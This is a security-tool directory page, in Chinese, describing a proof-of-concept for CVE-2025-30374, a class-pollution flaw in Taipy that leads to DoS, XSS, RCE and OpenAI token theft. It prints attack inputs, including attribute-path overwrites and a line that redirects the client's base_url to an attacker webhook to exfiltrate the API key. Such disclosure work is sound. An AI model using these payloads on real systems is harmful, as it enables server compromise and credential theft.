Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-30374 — 针对 CVE-2025-30374(一个 Taipy 类污染缺陷)的漏洞利用 PoC,演示了 RCE、反射型 XSS、DoS 及 OpenAI 凭据泄露,并附有基于 Docker 的复现脚本。 | Kitploit
工具/GitHubGitHub/jackfromeast/cve-2025-30374
漏洞分析漏洞利用Web应用程序漏洞利用Web安全对抗性攻击
GitHubjackfromeast/cve-2025-30374

CVE-2025-30374

针对 CVE-2025-30374(一个 Taipy 类污染缺陷)的漏洞利用 PoC,演示了 RCE、反射型 XSS、DoS 及 OpenAI 凭据泄露,并附有基于 Docker 的复现脚本。

查看仓库
21个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-30374

Taipy 中的类污染漏洞,可导致 RCE、XSS、DoS 和凭据泄露

摘要

在 Taipy v4.0.3(发现时的最新版本)中发现了一个类污染漏洞。该漏洞允许未经授权的攻击者覆盖 Taipy 服务端运行时上下文,进而导致 RCE、反射型 XSS、拒绝服务(DoS)以及敏感授权凭据(如 OpenAI 令牌)泄露等严重后果。

详情

背景

类污染(类似于 JavaScript 中的原型污染)是 Python 中一个相对较新的漏洞。它发生在攻击者能够在运行时意外覆盖模块的全局变量或某些类与函数的属性时。此问题归类于 CWE-915。

有关类污染的更多信息,请参阅:

[1] Class Pollution Wiki
[2] CWE-915:对动态确定的对象属性的修改控制不当

在 Taipy 中发现的类污染漏洞

此漏洞的根本原因在于 Taipy 使用递归 set 函数来更新 Taipy 状态中的变量值。name 和 value 参数均来自客户端输入,且缺乏适当的验证。这允许攻击者注入恶意属性路径,例如 _TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set,以覆盖 _TaipyBase 的 set 方法。

以下函数在多个路由中通过 _manage_message 被调用,以从客户端更新状态:

root@kitploit:~
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
    if gui._is_broadcasting():
        for scope in gui._get_all_data_scopes().values():
            _attrsetter(scope, name, value)
    else:
        _attrsetter(gui._get_data_scope(), name, value)
root@kitploit:~
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
    var_name_split = attr_str.split(sep=".")
    for i in range(len(var_name_split) - 1):
        sub_name = var_name_split[i]
        obj = getattr(obj, sub_name)
    setattr(obj, var_name_split[-1], value)

PoC

环境搭建

以下所有 PoC 均针对本仓库中包含的演示聊天应用(参见 app/),该应用基于官方 Taipy LLM Chat 演示(https://github.com/Avaiga/demo-llm-chat),并将 Taipy 4.0.3(发现时的版本)固定为依赖版本。使用 Docker 构建并运行:

root@kitploit:~
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374   # 服务地址为 http://127.0.0.1:5003

DoS、XSS 和 RCE PoC 不需要有效的 OpenAI 密钥。对于令牌泄露 PoC,请使用真实密钥启动应用,以便被外传的请求携带该密钥:

root@kitploit:~
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374

然后从仓库根目录运行相应的脚本(例如 python poc-dos.py)。请先使用 pip install "python-socketio[client]" requests 安装客户端依赖。

后果 1:DoS

视频 PoC:https://drive.google.com/file/d/1BESvtyaJyEOp0BkeFdZFdwj83_E9wp18/view?usp=sharing

完整利用代码位于:poc-dos.py

poc-dos.py 使用一个绑定的持有者变量作为入口点,将共享的 _TaipyBase 类的 set 方法覆盖为一个不可调用的整数:

root@kitploit:~
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71

由于每个 Taipy 值持有者(_TaipyData、_TaipyLov、_TaipyLovValue 等)都派生自 _TaipyBase,服务器在(重新)评估任何绑定变量时都会抛出 TypeError: 'int' object is not callable。这会影响所有会话(不仅是攻击者的会话),并且会一直持续到应用重启。

后果 2:OpenAI 令牌泄露

视频 PoC:https://drive.google.com/file/d/1uXiHpO-SzE1jhHzMRCTZo9CSOZHORTmT/view?usp=sharing

完整利用代码位于:poc-token-exfil.py

演示应用在模块全局变量(client)中保存了一个 openai.Client,该对象被绑定到 Taipy 状态中,并用作 state.client.chat.completions.create(...)。poc-token-exfil.py 将 client.base_url 污染为攻击者控制的 URL:

root@kitploit:~
client.base_url = https://webhook.site/<your-uuid>

此后每一个携带 Authorization: Bearer <OPENAI_API_KEY> 头和完整对话内容的聊天请求都会被重定向到攻击者控制的服务器,从而泄露 OpenAI 令牌。

后果 3:XSS

taipy-xss-v4 0 2

在以下函数中,当应用尝试渲染用户内容时,如果找不到合适的渲染器,它会回退为将 type(content).__name__ 作为 HTML 响应返回:

root@kitploit:~
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
    '<div style="background:white;color:red;">'
    + (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
    + "</div>"
)

然而,类对象的 __name__ 属性可以通过类污染进行设置,例如 tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__。攻击者可以用恶意的 HTML 或 JavaScript 载荷覆盖此属性。

完整利用代码位于:poc-xss-no-dot.py(适用于 v4.0.3)和 poc-xss.py(带点号的 "U" 变体,适用于 Taipy ≤ 4.0.2)。

后果 4:RCE

taipy-rce-v4 0 2

接下来,我们演示如何发起 RCE 攻击。

类污染漏洞允许攻击者在出现在会话状态中的对象上设置任意属性,而默认情况下会话状态并不包含太多敏感对象。然而,我们发现可以利用 Gui.on_action 路由来调用 Gui.table_on_edit 处理器,这会导致 __main__ 模块中的新对象被绑定到会话状态中。在下面这行代码中,对状态对象调用 getattr 会自动触发绑定操作,而随后的 setattr 会立即将绑定值重置为 None:

root@kitploit:~
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))

此行为创造了一个短暂的竞争窗口,在此期间,诸如 Gui 类之类的对象引用会临时存在于会话状态中。在该窗口内,攻击者可以利用类污染来覆盖这些对象上的属性。

我们进一步发现,Gui.__SELF_VAR 属性被用作构造传递给 Python 内置 eval() 函数的表达式时的前缀:

root@kitploit:~
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self

通过类污染覆盖 __SELF_VAR 的值,攻击者可以控制被评估的表达式,最终导致在服务器上执行任意代码。

完整利用代码位于:poc-rce-no-dot.py(适用于 v4.0.3)和 poc-rce.py(带点号的 "U" 变体,适用于 Taipy ≤ 4.0.2)。两者都通过 on_action 路由调用 table_on_edit 将 Gui 对象绑定到会话状态中,然后将其与类污染写入进行竞争,因此可能需要多次尝试才能成功。

影响

任何 Taipy 用户都可以利用此漏洞发起 RCE、反射型 XSS、拒绝服务(DoS)攻击,以及泄露敏感授权凭据(如 OpenAI 令牌)。

下载工具